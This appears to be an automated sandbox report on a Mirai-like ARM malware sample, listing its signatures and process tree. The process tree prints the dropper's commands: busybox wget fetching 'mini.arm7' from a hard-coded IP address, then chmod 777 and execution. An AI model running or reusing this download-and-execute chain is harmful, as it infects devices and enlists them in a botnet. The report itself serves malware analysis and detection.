Analysis
- max time kernel
146s - max time network
148s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
18/08/2026, 03:11
General
- Target d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
- Size 1KB
- Sample260818-dps8gsfb38
- SHA256 d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447
Score
9/10
Malware Config
Signatures
- Detects suspicious XORed keyword - Mozilla/5.0 1 IoCs
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 2 IoCs
- Executes dropped EXE 1 IoCs
- Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Changes its process name 1 IoCs
- Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba87447/tmp/d1cf964d57c97796a8962facffc05ae588bfa73a96bddf1d81d00833eba874471⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/bin/rmrm -f d2⤵
-
-
/bin/busyboxbusybox wget -O d http://31.77.227.102/d/mini.arm72⤵
- Writes file to tmp directory
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/chmodchmod 777 d2⤵
- File and Directory Permissions Modification
-
-
/tmp/d./d vitek2⤵
- Deletes itself
- Modifies Watchdog functionality
- Changes its process name
- Writes file to tmp directory
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
d